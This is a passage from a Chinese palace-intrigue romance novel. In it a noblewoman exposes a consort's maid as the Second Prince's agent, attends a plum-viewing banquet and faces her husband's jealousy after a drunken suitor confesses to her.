邵婉淑没有开口,她看了一眼齐嬷嬷,对贤贵妃道:“姑母,我有话想单独跟您说。” 贤贵妃:“齐嬷嬷不是外人。” 齐嬷嬷心里很是不得劲儿,笑着道:“侯夫人这是不相信老奴了?老奴在邵家待了多年,又跟着贵妃娘娘入了宫,最忠心不过。” 邵婉淑还是不开口。 贤贵妃叹了叹气,看向齐嬷嬷:“你先出去吧,看看她们事情做得如何了,接待的事情不能出错。” “是。”齐嬷嬷瞥了邵婉淑一眼,退了出去。 等殿门被关上,确定齐嬷嬷走远了,邵婉淑这才放心了。 贤贵妃:“到底是怎么回事?本宫天天忙着宫里的事情,还得操心娘家的事儿。” 邵婉淑上前一步,低声问:“姑母是不是在拉拢二皇子?” 贤贵妃怔了一下,同样低声道:“你如何得知此事的,可是你父亲同你说的?” 邵婉淑摇头:“不是。姑母,二皇子不可靠,您莫要再拉拢他了。” 贤贵妃:“你这孩子什么都不懂。大皇子手握兵权,哪里是咱们能对付得了的,须得给你表弟找个同盟。你若是能劝得动定南侯,姑母也不用找二皇子了。” 邵婉淑忽略了贤贵妃最后一句话,道:“姑母为何要拉拢二皇子?” 贤贵妃:“我和你父亲都觉得二皇子手握户部,在朝中有一定的影响力,能制衡大皇子。所以才想过拉拢他。” 邵婉淑:“既然二皇子那么有实力,他为何不选择自己争储?” 贤贵妃:“二皇子虽然在户部任职,但他母妃是宫女出身,他当不了储君。” 邵婉淑:“可是历代皇帝中也有不少母妃出身低微的。” 贤贵妃:“那都是没办法的事,谁让其他皇子太蠢,这才让他们有了机会。你表弟从小就十分聪慧,二皇子没这个机会。” 见姑母不信,邵婉淑又道:“若是二皇子想选择一人帮助,为何他不选大皇子而是选择三皇子呢?” 贤贵妃:“自然是因为你表弟更适合当储君,且他和大皇子之间有矛盾。你怎么回事,胳膊肘当真往外拐了?你父亲说你不帮着你表弟而是选择帮定南侯的时候我还不信,今日瞧着你父亲说的竟然是真的。” 邵婉淑:“姑母,我从未想过要帮大皇子,我只是不希望您和三皇子被二皇子骗了。” 贤贵妃:“我在宫中多年,他还能骗得了我?” 邵婉淑:“您仔细想想,大皇子是先皇后的儿子,是嫡长子。二皇子如果一开始就没有夺嫡之心,他一定会和大皇子好好相处的,绝不会得罪他。他为何会跟大皇子有了矛盾?两个皇子之间能有什么矛盾?” 贤贵妃:“你不知道,大皇子曾经打死了陪着二皇子长大的内监,二人这才结下了梁子。” 邵婉淑的确不知此事,但她觉得此事有蹊跷。虽然她和大皇子接触不多,但从旁人的话中来看,大皇子并非是一个嗜杀之人。 “我的确没有听说过此事,姑母是如何得知的?” 贤贵妃:“本来我也是不知道的,毕竟牵扯到了两位皇子,皇上严禁宫人议论。齐嬷嬷无意间听人提到的,后来又几经查证,这才得知了此事。” 听到是齐嬷嬷查到的,邵婉淑心里有数了。 “姑母,齐嬷嬷未必可信。” 贤贵妃想到刚刚邵婉淑非得让齐嬷嬷出去的事儿,道:“齐嬷嬷是不是哪里得罪了你?你今日怎么对她有这么深的敌意?” 邵婉淑:“我和齐嬷嬷之间没有任何矛盾,但我最近得知了一件事,齐嬷嬷是二皇子的人,这些年她一直在为二皇子做事。” 贤贵妃震惊地看向邵婉淑。 “你在说什么?” 邵婉淑将裴行舟调查来的事情细细跟贤贵妃说了起来。 贤贵妃从一开始的质疑,到后来面色越来越凝重。齐嬷嬷的确在宫中落过水,被人救了,没想到救她的竟然是二皇子身边的宫女。 “即便如此。她在我身边多年,不可能为二皇子做事。” 邵婉淑:“倘若二皇子为齐嬷嬷的儿子还过赌债,救了他一命呢?” 贤贵妃怔了一下。 “赌债是二皇子还的?” 邵婉淑:“看来姑母知道这件事。” 贤贵妃:“知道,她曾问过借过几次钱,后来得知她是为儿子还赌债,我便没再给了。她那个儿子不是个能干正事的。” 她的确知道齐嬷嬷的儿子欠了钱,齐嬷嬷曾和她提及此事,问她借过钱。一开始几次她不知道是何事便给了,后来得知齐嬷嬷为儿子还赌债,觉得此事不妥,便不再给了,还骂了齐嬷嬷一顿。后来齐嬷嬷没再跟她借过钱,她曾问过她儿子的事情,齐嬷嬷说她儿子没再继续赌,她也没再多问。 若侄女的话是真的,那就说明齐嬷嬷骗了她。 邵婉淑看着贤贵妃的眼神变化,适时问道:“姑母从前从未想过要拉拢二皇子,您是何时有的这种想法,可是在拒绝为齐嬷嬷儿子还赌债时?” 贤贵妃想了想具体的时间,整个人都愣住了。 还真被侄女猜对了,的确是在那个时候。 “对,就在那件事过去约摸一个月左右的时候。” 邵婉淑:“看来那个时候齐嬷嬷便开始为二皇子做事了。” 贤贵妃还是不信:“只是还了赌债就要为二皇子做事吗?未免太简单了。” 邵婉淑:“当时追债的人威胁齐嬷嬷的儿子,要是不还钱就把他沉塘淹死。” 贤贵妃:“他们怎么敢的?即便他无官无职,齐嬷嬷可是我身边的人,那些开赌坊的人敢这么做?” 邵婉淑:“是啊,他们怎么敢的?姑母您想想,这件事若说不是人设计的,谁又会信呢?” 贤贵妃一副若有所思的模样。 邵婉淑接着道:“您可知二皇子的人是何时去救他的吗?就是在他被沉入池塘中后,在池塘里扑腾了一会儿,没了动静时出现的,出现的时机恰到好处。” 贤贵妃虽然心善,但也不傻,话都说到这个份上了,她还有什么不懂的。 “是二皇子的人故意设计的。” 邵婉淑:“对。” 齐嬷嬷跟在贤贵妃身边多年,贤贵妃还是不愿相信这件事。 邵婉淑又道:“齐嬷嬷的儿子今年也有二十岁了,姑母为何没给他安排差事?” 提起这个人,贤贵妃一脸嫌弃:“他那个儿子不是个正混的,整日游手好闲,好赌又好色。这种人如何能给他安排差事,但凡手里有一点权力,还不知会做出来什么更过分的事情,岂不是害了百姓。” 邵婉淑:“您是这样想的,齐嬷嬷心里又是如何想的呢?那毕竟是她的亲生儿子。” 贤贵妃:“齐嬷嬷找过我一次,我拒绝了,她也知自己儿子的情况,后面没再提过。” 邵婉淑:“可他儿子如今在礼部得了个差事。” 贤贵妃微微有些惊讶:“你父亲给他找的?” 邵婉淑:“不是,是二皇子。” 贤贵妃:“二皇子?” 邵婉淑点头:“二皇子的人把他救了之后,很快便在礼部给他谋了个差事。姑母刚刚不是说齐嬷嬷是在一个月后在您面前提及二皇子的么,正是那个时候。我若是齐嬷嬷,经过了这三件事后,定也会死心塌地跟着二皇子。” 贤贵妃今日得到的信息太多了,整个人都有些懵,一时接受不过来。 齐嬷嬷的儿子欠了赌债,她没有替她还,二皇子替她还了。齐嬷嬷的儿子沉塘,二皇子的人去救了他。齐嬷嬷为儿子求差事,她因为他品行不端,没有答应。二皇子转头就为齐嬷嬷的儿子谋了个差事。 邵婉淑:“二皇子当真是好手段,居然在父亲任职的礼部为齐嬷嬷的儿子谋差事,连姑母都觉得此事是父亲所为,旁人又会如何想的?” 贤贵妃先是一怔,随后脸色骤变,抬手将桌上的茶具一扫而空。 齐嬷嬷的儿子不是个好东西,这种人当了官绝对会谋害百姓,惹出来一大堆的官司。到时候旁人定会把这些事推到兄长身上,由于他是她身边嬷嬷的儿子,旁人也会觉得他的靠山是自己。 他做的坏事全都会按到自己身上的。 齐嬷嬷的恩情二皇子得了,后面惹出来的祸事却要自己来背。 这个二皇子平日里瞧着笑容温和不声不响的,没想到是一条毒蛇,果然咬人的狗不叫! 齐嬷嬷的声音在外面响了起来:“娘娘,您怎么了?可需要老奴进去?” 听到齐嬷嬷的声音,贤贵妃眼底闪过一丝厌恶,但她快速冷静下来。她看了一眼侄女,对外面道:“不用,你让人离远些,免得看了侯夫人的笑话。” 听到这话,齐嬷嬷把心放回了肚子里去。果然,侯夫人又惹娘娘不高兴了。 看着门口的身影离远了,贤贵妃低声道:“你说的这些事本宫会去查的,若是查出来了,定不会让二皇子好过!” 邵婉淑:“姑母打算如何做?” 贤贵妃:“先找人把齐嬷嬷儿子的官职撤掉,然后找人报复回去,给二皇子找些麻烦。” 邵婉淑琢磨了一下了,道:“姑母为何不把这件事告诉皇上?” 贤贵妃怔了一下,道:“告诉皇上?” 邵婉淑:“二皇子既然想利用三皇子来对付大皇子,这说明他有争储之心,储君究竟是谁最终还是要看皇上的意思。您将此事告诉了皇上,不比自己动手要好的多吗?” 贤贵妃越想越觉得邵婉淑说得有理。她脑子真是糊涂了,只想着自己动手对付敌人了,怎么就没想过要告诉皇上。只要在皇上这边过了明路,二皇子就别想把脏水泼到她和兄长头上了,同时皇上也会知晓二皇子的阴谋。她盯着邵婉淑看了片刻,道:“我竟没发现你如今性子和从前大不相同了。” 侄女从前做事一向有自己的原则,光明磊落,从不会想着去背后去告状。 邵婉淑抿了抿唇,道:“也是吃了亏之后才改变了行事的方法。” 贤贵妃脸色一变:“定南侯欺负你了?” 邵婉淑:“没有,他待我极好。” 贤贵妃:“他若是敢欺负你,你不必忍着,我有的是法子收拾他。” 邵婉淑:“多谢姑母,侄女记住了。” 想到这门婚事,贤贵妃叹了叹气:“也是姑母想岔了,以为将你嫁给定南侯能拉拢他,没想到他性子执拗,压根儿就拉拢不动,还不如将你嫁给你心仪之人。” 邵婉淑:“姑母不必如此,定南侯待我极好,这门亲事挺好的。” 贤贵妃:“也是你懂事,拿话来宽慰我。” 邵婉淑:“姑母是否想过皇上当初为何会同意这门亲事?” 贤贵妃略有些得意地道:“自然是因为他看重你表弟,想为他拉拢武将这边的势力。” 邵婉淑:“我从前也跟姑母想的一样,最近却有了不同的想法。” 贤贵妃:“嗯?” 邵婉淑猜测:“您说皇上会不会是想缓和大皇子和三皇子之间的关系呢?” 贤贵妃先生一怔,随后又笑了:“怎么可能?不会的。” 邵婉淑:“三皇子并无争储之心,倒不如顺着皇上的意,同大皇子缓和一下关系。” 贤贵妃想到先皇后在世时处处欺负她,沉了脸:“不可能,我绝不可能眼睁睁看着大皇子当上储君!好了,二皇子的事我会好好查一查的,你先回去吧。” 邵婉淑见劝说不动,没再多言。今日能让姑母知晓二皇子的阴谋,除掉齐嬷嬷,就已经达到目的了。 “是。” 贤贵妃:“对了,侍郎府毕竟是自己的家,你父亲和母亲也是为了你好,不要跟娘家闹太僵。” 邵婉淑没有在这个问题上做过多解释,应了一声:“嗯。” 第54章 第 54 章 赏梅。 邵婉淑从殿中出来后, 看到了站在不远处的齐嬷嬷。 自打她打开了门,齐嬷嬷的目光就一直盯着她。 邵婉淑眉头皱了起来,垂下头, 一脸郁气, 看起来心情不太好。 齐嬷嬷得意的笑了起来。大姑娘如今身份再尊贵又如何,心里再向着定南侯府又如何,还不是得听贵妃娘娘的话。娘娘最重视娘家了,大姑娘却跟老爷的关系闹得那么僵,娘娘肯定会训斥她的。大姑娘刚刚还不让她留下, 是怕她跟老爷告状不成?大姑娘的状还用她告么, 老爷和娘娘早就对她不满。 等邵婉淑走后,齐嬷嬷进去了。 “娘娘。” 贤贵妃看到齐嬷嬷,眼底快速划过一抹凌厉之色,很快又消失不见。她闭了闭眼,揉了揉额头。 “差事都办完了?” 齐嬷嬷:“都按照娘娘的意思安排下去了。” 贤贵妃:“嗯, 你做事我放心。” 齐嬷嬷来到贤贵妃身边, 为她捏了捏肩,随口问道:“大姑娘这是又惹您不高兴了?” 贤贵妃:“可别提她了,这丫头最近不知怎么了, 一心想着定南侯府,这娘家都不想要了。” 心中的猜测得到了证实,齐嬷嬷又道:“老奴瞧着大姑娘气色比从前好多了,莫不是真的喜欢上侯爷了?” 上次贤贵妃否定了这一点, 这次她顺势说道:“本宫也是这么想的,这丫头多半是爱上定南侯了。这定南侯没拉拢过来, 还赔了一个侄女。哎, 本宫这是赔了夫人又折兵啊!” 齐嬷嬷:“娘娘也别太难过了, 虽然定南侯那边指望不上,但二皇子这边还是想着帮咱们的,二皇子统管户部,又是皇子,手中的权势可不是区区一个定南侯能比得上的。” 贤贵妃眼睛微微睁开了一些,道:“嗯,你说得对,还好二皇子能帮咱们对付大皇子,不然还真不知道该怎么办了。” 齐嬷嬷:“二皇子没有争储之心,又和大皇子有仇,肯定希望咱们三殿下能当储君,储君的位置将来一定是三皇子的。” 贤贵妃笑了,没再多言,一副自信满满的模样。 她心中纵然有很多话想要试探一下齐嬷嬷,可她却一个字也没说,一句话也没问。齐嬷嬷在她身边多年,对她太了解了。而她又在宫中待了那么多年,善于察言观色。她的任何一句话都会打草惊蛇。 午饭过后,等齐嬷嬷去休息了,贤贵妃这才安排身边的大宫女百合去查事。 她将事情跟百合说清楚了,最后又嘱咐:“……你现在回一趟邵家,将事情告诉侍郎,叮嘱他只需查事,不要有任何的举动,其他的事我自有安排。” 百合:“是,奴婢这就去。” 随后,她又把内监小翔子叫了过来:“去打听一下,二皇子身边的内监究竟是如何死的。” 小翔子:“是。” 午睡过后,阿梨拿着一个帖子进来了。 邵婉淑瞥了一眼阿梨手中的帖子,问道:“这是哪家的?” 阿梨:“是邹相府的帖子,三日后赏梅宴,夫人要去吗?” 邵婉淑接过来帖子看了看,道:“去。” 自从在长公主府上看到了黄夫人和户部尚书夫人相交甚好,她便喜欢去参加各种宴席。这些看似不起眼的宴席有时能发现不少问题。 这帖子不是邀请的她一人,而是整个侯府都被邀请了,第二日一早,邵婉淑拿着帖子去了祥和院。听到是邹相府的帖子,裴明英看起来十分激动。 姜老夫人知道女儿的心思,道:“你陪着你大嫂一起去吧。” 裴明英笑着道:“好。” 邵婉淑看了一眼站在一旁的裴温静,主动提出来:“既然二妹妹要去,大妹妹也一起吧,这些日子你管家也是辛苦了?” 裴明英的脸立马耷拉下来,她没敢质疑邵婉淑,而是瞪了裴温静一眼。 裴温静不说话,抬眸看了邵婉淑一眼。 邵婉淑将她们二人的表情尽收眼底。她就是故意的,这两个她一个也不想带。但作为侯夫人,每次出席宴席不带她们这些未出阁的小姑子也有些说不过去。带一个是带,带两个也是带。她知道裴明英不喜欢让裴温静出门,一则是嫌弃裴温静丢人,二则是裴温静长得比她好看她怕裴温静抢了她的风头。 邵婉淑看着裴温静的目光,面色始终十分平静,一副没看懂的意思。 很明显,裴温静这是想让她开口说带着她去。前世她的确做过这样的事情,但到最后裴温静丝毫没领情。今生她绝不可能再做这样的事。她若想去便自己说出来,别想着让她开口帮忙。不说话那就别去。 裴明英见裴温静不说话,道:“大姐姐,你的绣活不是还没做好么,这几日要忙着绣活没空去吧?” 裴温静在等邵婉淑为她解围,以她对邵婉淑的了解,她并不似外面表现的这般冷漠,是个热心的人。然而,她今日却没开口帮她。 裴温静有些失望。 裴明英见裴温静还是不说话,抬手碰了碰她。 “大姐姐,你没听到我说的话吗?哑巴了?” 衣袖下,裴温静握紧了拳,鼓足勇气,说道:“二妹妹,我想去,绣活我回头再做。” 裴明英似是没料到裴温静能说出来这样的话,瞪大了眼睛看着她。 “你不是不喜欢这样的宴席吗,怎么突然要去了?” 裴温静抿唇不说话。 姜老夫人:“好了,既然想去就一起吧。你们二人在外面要老实些,别给你们大嫂惹麻烦,也别丢了侯府的脸面。” 姜老夫人这话看似是对裴明英和裴温静两个人说的,但说话时看向了裴温静。 裴温静福了福身:“是,母亲。” 今日杜氏和柳氏并不在场,等她们知晓后去找了姜老夫人,姜老夫人也同意了这二人去。 邵婉淑对此是无所谓的态度,带一个讨厌的人是带,带一群讨厌的人也是带。来去她都是一个人坐一辆马车,倒是无所谓。 邹相夫人特意选择了休沐日,许多朝中官员也会过去。 前一晚,阿兰将针线房改好的两件锦缎面袄子拿了过来。如今府中的针线衣裳都归阿兰管着,邵婉淑想要做衣裳倒是方便了许多,想要改改衣裳倒也方便了许多。 阿兰:“夫人是穿蓝色这件,还是红色这件?” 按照邵婉淑的喜好,她是喜欢蓝色这件的,可不知为何,今日瞧着红色这件也格外好看。 见邵婉淑的目光落在了红色这件上,阿兰道:“夫人不如试一试再决定?” 邵婉淑:“好。” 邵婉淑将两件都试了试,还是更喜欢红色这件。这件红色不是特别的红,让人觉得很舒服,而且穿上后显得人十分的白皙。但就是有些显眼儿,邵婉淑性子一向低调,她有些犹豫。 裴行舟全程都坐在榻上看书,见邵婉淑一直穿着红色衣裳照镜子,便明白了她的意思。 “穿红色这件吧。” 闻言,邵婉淑看向裴行舟:“侯爷也觉得这件好看?” 裴行舟和邵婉淑对视了一眼,也清晰地看到了她身上的这件衣裳。这衣裳的确很显眼,但也很好看。穿上之后,邵婉淑整个人的气质都和从前不太一样了。以前的她有些清冷孤高,现在的她鲜活了许多。他喜欢看她鲜活的模样。 “对。” 邵婉淑当即便决定了:“好,明日就穿这件。” 阿兰将衣裳收了起来,默默退了出去。 裴行舟随口问道:“夫人明日要出门吗?” 邵婉淑:“对,邹相家的梅花开了,邀请大家去赏梅。听闻许多朝臣都会过去,侯爷要去吗?” 听到是邹相府,裴行舟看了邵婉淑一眼。 “明日还有其他安排,我就不去了。” 邵婉淑:“嗯。” 裴行舟很少参加这样的宴席,邵婉淑早就猜到他不会去的,刚刚只是顺口一问。听到了他的答案,没再多说什么。 熄灯后,裴行舟贴了过来。 如今天越来越冷了,裴行舟身上热,邵婉淑也越来越喜欢靠在他怀中睡觉。 第二日一早,辰正左右,邵婉淑收拾好去了外院。 她正欲坐马车离开,恰好遇到了要出门的裴行舟。裴行舟一大早就离开了,她还以为他早就出门了,没想到还在府中。 邵婉淑朝着他福了福身:“侯爷要出门?” 裴行舟看着邵婉淑身上的红衣,神色微怔。昨夜在屋里看时还没觉得这个衣裳这般乍眼,今日一瞧,不光颜色乍眼,还特别显身形。 他突然有些后悔了,还不如穿蓝色那件。 “嗯。今日瞧着要落雪,夫人怎么穿这么少?” 邵婉淑低头看了看自己身上的衣裳,道:“我穿了两件袄子,除了外面这件红色的,里面还有一件呢。我还有手炉,一点也不冷。” 她已经将最厚实的衣裳穿上了,再多穿就抬不起胳膊迈不开腿了。 裴行舟:“哦。” 邵婉淑礼尚往来,说了一句:“今日天冷,侯爷多穿些才是。” 裴行舟:“我还好,不怕冷。” 邵婉淑见时辰差不多了,道:“侯爷慢走。” 说完,她便转身上了马车。 裴行舟停顿片刻也上了马。 裴行舟与人谈完事后,从茶楼的包间出来了。刚走出茶楼,便感到了一丝凉意,抬眸一看,下雪了。 他想到一事,问道:“邹相府的宴席散了吗?” 青云:“属下不知,不过按照以往的经验来看,午宴应该刚刚结束,宴席再过一个时辰才会散。” 裴行舟:“许久没看过梅花了,听闻邹相家的梅花开得极好,去看看吧。” 青云一脸茫然,府里不是有梅花吗?早上侯爷还看过。 “是。” 得知裴行舟过来了,邹相十分诧异。众人皆知定南侯不爱参加这样的宴席,虽说他们给裴行舟下了帖子,也没觉得他一定会来。邹相心里猜测裴行舟或许有事要说。他跟几位朝臣说了有一会儿话了,起身去见了裴行舟。 见到裴行舟,邹相笑着说:“侯爷今日竟然来了寒舍,当真蓬荜生辉。” 裴行舟:“邹相客气了,听闻相府梅花开得极好,我过来看看。邹相去忙便是,我自己在外院随意走走。” 邹相听出了裴行舟话中的意思,这是不用人陪。可裴行舟每日忙于公务,会有心情来赏梅?于是又试探了一句:“兵部几位大人也来了,此刻正在花厅喝茶,侯爷要不要过去?” 裴行舟:“我就不过去了,邹相若是觉得过意不去,让人领着我看看梅花吧。” 邹相这下确定了裴行舟的意思,他是真的不用人陪。不过,心中也十分惊奇,裴行舟竟然会特意来赏梅。 “好,我让管事的陪你。” 相府管事的很快便过来了,他引着裴行舟去赏梅。 看了一会儿后,裴行舟眼睛看向别处,似是在寻找什么。 青云看出了他的意思,问管事的:“不知我家夫人是否还在府中?” 管事的:“侯夫人应该还在的,尚未离开。” 青云:“夫人是在内宅中吗?” 管事的:“应该不在,方才下雪时,听说贵人们来了兴致,要在湖心亭以梅和雪作诗,若我没记错的话,侯夫人也在。” 青云看了裴行舟一眼。 管事的指了指前面,道:“就在前面不远处,侯爷要过去看看吗?” 裴行舟看了一眼前面,没说话。 青云:“劳烦带路。” 管事的:“您客气了。” 不多时,他们穿过梅林,到了湖边。 雪越下越大,湖面雾气氤氲,一座亭子立在湖中,丝丝乐声传来,隐约能看到亭子里有不少人。邵婉淑今日穿的红色的衣裳,十分显眼,裴行舟一眼就看到了她。 隆冬时节,看着湖心亭中与男子烹雪煮茶谈诗论赋的妻子,一向沉稳的定南侯难得失了神。不远处一身红衣,自信张扬,笑容明媚的女子当真是他那个死守规矩不爱笑的妻子吗? 第55章 第 55 章 裴行舟吃醋。 青云很快也注意到了湖边的情形, 瞧着在场的男子中有邹三郎,心里暗道一声不妙。 管事的不明所以,依旧热情地带路:“侯爷, 侯夫人在那里呢, 您要过去吗?” 裴行舟一直盯着湖心亭的方向没有说话。 青云朝着管事的摆了摆手:“麻烦了,后面的路不用你带了。” 管事的:“是。” 邵婉淑并不知裴行舟也过来了。今日的赏梅宴本来平平无奇,杜氏和柳氏不敢找她麻烦,裴明英去找她的小姐妹了,裴温静也老老实实的。饭后, 外面突然下了雪, 风雪中,梅花更显孤傲,大家立马来了兴致。张祭酒家的二姑娘提议以雪和梅对诗。他们从前便常常在一起吟诗作对,前后两世加起来,邵婉淑已经有四五年没参加过诗会了, 左右闲来无事, 也有些意动。 他们当下便一起去了湖心亭。 一开始邵婉淑还有些放不开,后来,看着周围熟悉的人, 她渐渐找回了从前的感觉,同大家一起对诗作诗,赏雪饮酒,好不快活。 一个时辰后, 雪越下越大,客人们渐渐地都离开了, 他们才不得不散了。 邵婉淑也饮酒了, 但她只喝了一点点, 脸微微泛红,意识还是清醒的。阿桔怕她摔倒,在一旁扶着她。 两人回到岸边,朝着梅林走去,穿过梅林,便是外院放置马车的地方了。定南侯府的其他女眷并未跟着邵婉淑一同去湖心亭,她们先走了,只剩下邵婉淑的马车还没离开。 刚走了没几步,身后传来了脚步声。 “邵姑娘。” 邵婉淑一时有些恍惚,有多少年没听旁人这般称呼她了。自从嫁给了裴行舟,大家都叫她侯夫人。她停下脚步,看向了身后的人。 是邹三郎。 一开始去作诗时邹三郎并没有去,若他当时去了,她绝不会过去的。也正是因为他没去,所以裴明英也没有跟着。他是后来才过去的。两人全程都没有说话。此刻诗会都散了,他却突然追了过来。 邹三郎快走了两步:“邵姑娘。” 邵婉淑福了福身:“邹公子。” 邹三郎脸颊泛着红晕,一身酒气,看着一袭红衣站在雪中的佳人,声音里充满了遗憾的味道:“我后悔了。” 在看到邵婉淑在众人中间自信对诗的模样时,他便后悔了。从前他便知道贤贵妃有意拉拢父亲,想让他娶了她的侄女。邵婉淑美则美矣,但性子过于死板,就像是一个漂亮的花瓶一样。要是跟这样的木头人过一辈子,人生还有什么乐趣,所以对于这门亲事,他极力反对。可贤贵妃毕竟是皇上的宠妃,还是三皇子的母妃,他们邹家不敢轻易得罪,因此只能小心翼翼地拖着。后来贤贵妃的目光放在定南侯身上时,他狠狠地松了一口气,他终于不用娶邵婉淑了。 但今日看到邵婉淑婀娜的身形,明艳的模样时,他后悔了。原来她并不是他想象中的那般无趣,她也可以妩媚,可以明媚,她笑起来的模样格外动人。 若他当初答应了这门亲事,邵婉淑不就是他的妻子了么? 邵婉淑一脸疑惑:“后悔什么?” 邹三郎深情款款地说道:“当初我不该轻易放手的,即便皇上为你和定南侯赐了婚,我也应该再争取一下。” 邵婉淑震惊地看向邹三郎,她甚至怀疑自己是不是真的吃醉了酒,听错了。 他这是在说什么鬼话?姑母的确想过要把她嫁给邹三郎,可他们二人之间并无任何情愫,只是见过几面,说过一些话而已,从未捅破过那一层窗户纸。他们甚至连朋友都算不上,只是点头之交罢了。她也能看得出来邹三郎并不喜欢她,每次见面时他都想要避开,即便避不开也说不了几句话就要离开。 今日他这般深情的模样又是装给谁看的? 委实令人作呕。 从方才到了梅林起,裴行舟就一直站在这里没有离开。他亲眼看到邵婉淑跟男子自信对诗,看到有些人眼中欣赏和惊艳的模样,他想过去,但他忍住了。看着眼前的一幕,他再也克制不住,沉着脸大步走了过去。 邹三郎以为邵婉淑没听清他的话,又上前半步,刚要低头跟邵婉淑继续说,衣领突然被人揪了起来,脖子骤然一紧。他想看看究竟是谁有这么大的胆子敢这般对他。结果还没转头,整个人就腾空被扔了出去。屁股瞬间落地,疼痛袭来,他忍不住惨叫一声。 在裴行舟的身影出现在不远处时邵婉淑就看到他了,她正欲上前,不料邹三郎突然靠近,她还没反应过来,就见裴行舟快步走过来,将邹三郎丢了出去。 看着裴行舟阴沉的脸色,邵婉淑一时不知该如何解释。 邹三郎愤怒地道:“谁?到底是谁?谁敢扔小爷!” 当真是反了他了,竟然敢在他们邹家闹事,他倒要看看是何人吃了熊心豹子胆敢这般欺辱他。 邹三郎扶着地站了起来,看向扔他之人。初时他只看到了一个背影,满腔的怒火无处发泄,正欲开口大骂时,人转过来了。 在看清楚裴行舟的相貌时,酒顿时就醒了。 他刚刚在湖心亭中被邵婉淑的模样迷住了,想到自己差点和邵婉淑成亲,心中一时难受不已,忍不住追了过来。不仅追过来了,还说了那般深情的话。 糟糕的是那些话全都被她的丈夫定南侯听了去。 看着裴行舟不善的目光,以及他身后邵婉淑冷漠的眼神,邹三郎快速思索对策。 裴行舟定是生气了,邵婉淑也对他的行为很不喜。他今日的行为算是惹恼了裴行舟,但他最对不起的应该是邵婉淑,他不能再牵连她了。 想清楚后,邹三郎上前一步,朝着二人躬身致歉。 他先跟邵婉淑道歉:“侯夫人,抱歉,今日是我吃醉了酒,一时鬼迷心窍,说错了话。” 邵婉淑没答。 邹三郎又道:“侯爷,今日是我冒犯了贵夫人。请您莫要误会,我和侯夫人只见过数面,都有长辈在场,从未有过任何的私情。今日的一切都是我个人一厢情愿,与侯夫人无关。” 听着邹三郎的话,裴行舟心里的怒火消散了些。但也没有再理会邹三郎,牵起邵婉淑的手,大步离开了梅林。 看着他们二人离去的背影,邹三郎摸了摸疼得不行的屁股,哎呦一声,一瘸一拐离开了。 酒这种东西以后还是要少喝啊! 裴行舟一路沉默地牵着邵婉淑上了马车,到了马车上,他还是什么都没说。 马车朝着邹府外面行去,等出了邹府,邵婉淑解释道:“不管侯爷信不信,我跟邹三郎之间真的什么事都没有,我也不知道他为何突然追了过来。方才我们的谈话侯爷应该全都听到了吧?” 裴行舟有些生气,但他说不清楚究竟在气什么。他究竟是在气邹三郎跟邵婉淑诉说情意,还是在邵婉淑对别的男子笑。 他方才没有跟邹三郎说一句话,但此刻回应了邵婉淑。 “嗯。” 听到裴行舟的回应,邵婉淑放心了。既然听到了就好,那他应该就不会误会她了。虽说她只吃了一杯酒,没有吃醉,但此刻随着马车的晃动,她还是有些晕,忍不住闭上了眼。 马车里又恢复了宁静。 裴行舟正等着邵婉淑继续解释,结果什么都没等到,他侧头一看,她竟然靠着马车睡着了。 裴行舟的怒火堵在喉咙里发不出来,咽不下去。 这时,路上遇到了一个浅坑,马车颠簸了一下。邵婉淑的身体不受控地往一旁倒去。裴行舟眼疾手快,连忙上前扶住了她。 邵婉淑只是浅浅闭上眼睛眯了一下,并未睡沉,因此马车颠簸的时候她就惊醒了。没等她睁开眼,身体就被裴行舟扶住了。她又放心地继续睡了。 看着邵婉淑微红的脸颊,紧闭的双眸,裴行舟的气似乎在一瞬间消散了。他轻叹一声,坐在了邵婉淑身侧,将她的头靠在了自己的身上。 原本邵婉淑睡得不安稳,眼下感觉有了支撑点,她便放心地睡了过去。 邵婉淑这一觉睡得很沉,马车回到定南侯府,她依旧没有醒过来。裴行舟将她抱了起来,朝着内宅走去。这一路行来,阖府上下都知道侯爷抱着侯夫人回了韶华院。 原本不知侯爷和侯夫人感情极好的人此刻终于知道了。 回到韶华院之后,裴行舟轻轻地将邵婉淑放在了床上,扯过一旁的被子为她盖上。 他就坐在床边,静静盯着邵婉淑。 虽然二人成婚只有半年,但他以为自己已经足够了解她了。经过今日的事情,他发现自己还是不够了解她。她今日的这一面是他从未见过的。他很少见她笑,更是没有对他笑过。她看他时总是一副面无表情的模样,不喜不怒。原来,在他身边时她并没有那么欢喜。 邵婉淑睡了很久,等她醒来时天色已经暗了下去,她也不知究竟是什么时辰了。她正欲起身,突然发现腰上还有一条胳膊。 她侧头看了过去,只见裴行舟正躺在自己身侧。 已经深夜了吗?裴行舟竟然都回来了。她竟然睡这么久,她怎么感觉并没有过那么久。 这时,裴行舟睁开了眼。 两人对视了一眼。 邵婉淑:“什么时辰了?” 裴行舟没有回答,俯身重重吻了上去。 邵婉淑一时愣住了,这是什么情况,裴行舟怎么了? 裴行舟手上的动作也没停,抬手解着邵婉淑身上的衣裳。但她身上这件红色的袄子扣实在是太多,不仅外面有扣子,里面也有。怎么解都解不开,而且越解越乱。 这袄子就是来给他作对的! 邵婉淑被亲得面红耳赤的,见裴行舟解不开衣裳,忍不住“噗嗤”一声笑出了声。 裴行舟的动作一顿,她竟然对他笑了。虽然这笑更多的是嘲笑,但他难得见她笑。 邵婉淑见裴行舟脸色不太好看,收敛了笑,道:“我今日穿这么厚,侯爷送我回来就不知道给我脱了衣裳再盖被子吗?” 她之所以觉得自己没睡沉,就是因为身上的衣裳太厚了,根本就活动不开。她数次想要睁开眼起身把衣裳脱了再睡,无奈太困了醒不过来。就这样挣扎了许久,最后没那么困了才渐渐转醒。 邵婉淑推开裴行舟的手,自己抬手解了起来。 因为第一次穿,裴行舟又把扣子和绳子弄乱了,屋里没有点灯,邵婉淑解了一会儿也没解开。 “掌灯吧,我看不清。” 裴行舟没动,抬眼看着邵婉淑,眼里的情绪并没有散。 何必那么麻烦。 他抬手抓住了衣裳,微微用力,只听刺啦一声,袄子解开了。 邵婉淑:??? 裴行舟今日在发什么疯? 邵婉淑:“我刚做的新衣,才穿了一次。” 脱掉了外面的袄子,其他的衣裳就好弄了。裴行舟动作灵活地将邵婉淑身上的衣裳脱掉,哑声道:“赔你十件。” 见天色不早了,阿梨想要过来看看侯爷和夫人有没有醒,要不要用晚膳。 青云听到里面的动静,轻咳一声,示意阿梨走远一些。 阿梨瞬间明白了什么,离主屋远了一些,青云也走远了些。 等屋里收拾好后已经亥时了,邵婉淑累得一动也不想动,靠在裴行舟身上歇息。 